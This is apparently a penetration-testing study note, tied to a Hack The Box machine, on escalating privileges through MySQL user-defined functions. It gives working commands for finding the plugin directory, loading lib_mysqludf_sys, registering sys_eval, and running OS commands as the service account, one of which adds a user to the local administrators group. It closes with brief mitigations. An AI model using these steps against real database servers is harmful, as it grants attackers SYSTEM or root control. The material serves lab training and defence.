🧠 MySQL - UDF Hijacking
What is it?
- Concept: MySQL User-Defined Functions let you load a shared library (
.dll/.so) that exposes C/C++ functions callable from SQL. The publiclib_mysqludf_syslibrary addssys_eval()/sys_exec(), giving OS command execution as the MySQL service account. - Impact: Privilege escalation — on Windows the service often runs as LocalSystem (→ SYSTEM); on Linux as
mysql/root.
How it works
- You need a DB account with
INSERTon themysqlschema (to register the function inmysql.func) — typicallyroot. - The UDF library must sit in MySQL’s plugin directory (
@@plugin_dir), e.g.C:\MySQL\lib\plugin\or/usr/lib/mysql/plugin/. CREATE FUNCTIONmaps a SQL function name to a symbol in that library.- Calling the function runs native code in the mysqld process → as its service account.
Exploitation
Prerequisites
- MySQL creds with
INSERTonmysql.*(root or equivalent) — verify withSHOW GRANTS - Write access to the plugin dir (directly, or via
FILEpriv +INTO DUMPFILEifsecure_file_privallows) -
mysqldruns as a privileged account for the payoff
Attack Vectors
0. Recon — plugin dir + grants
mysql -u root -p'<pw>' -e "SELECT @@plugin_dir; SELECT @@secure_file_priv; SHOW GRANTS;"1. Place the library in the plugin dir
Metasploit ships it at /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll.
Windows: upload -> C:\MySQL\lib\plugin\lib_mysqludf_sys_64.dll
Linux: lib_mysqludf_sys.so -> /usr/lib/mysql/plugin/ (or write via SELECT ... INTO DUMPFILE)2. Register the function
mysql -u root -p'<pw>' -e "CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys_64.dll';"3. Execute commands as the service account
mysql -u root -p'<pw>' -e "SELECT sys_eval('whoami');" # -> nt authority\system (Windows)
mysql -u root -p'<pw>' -e "SELECT sys_eval('net localgroup administrators <user> /add');"Metasploit automates the whole thing:
use exploit/multi/mysql/mysql_udf_payload.
Notes
@@plugin_diris authoritative for where to drop the.dll/.so;@@secure_file_privgoverns whetherSELECT ... INTO DUMPFILEcan write it there when you don’t already have filesystem write.- This is the go-to when you have DB
rootbut can’t restart the service for a DLL-hijack/binary-replace path — the DB is already running as LocalSystem, so you abuse it at the app layer instead (see Windows - Service Permission Abuse). - Find DB creds in app source / config files (
index.ts,*.bat, web configs) — that’s how Touch’srootpassword surfaced.
Mitigation
- Fix: Run MySQL as a low-privilege account; don’t grant app users
INSERTonmysql.*; set a restrictivesecure_file_priv; make the plugin dir non-writable by the service account.
Related Usage
| File | Created |
|---|---|
| HTB Machine - Touch | October 07, 2026 |
References: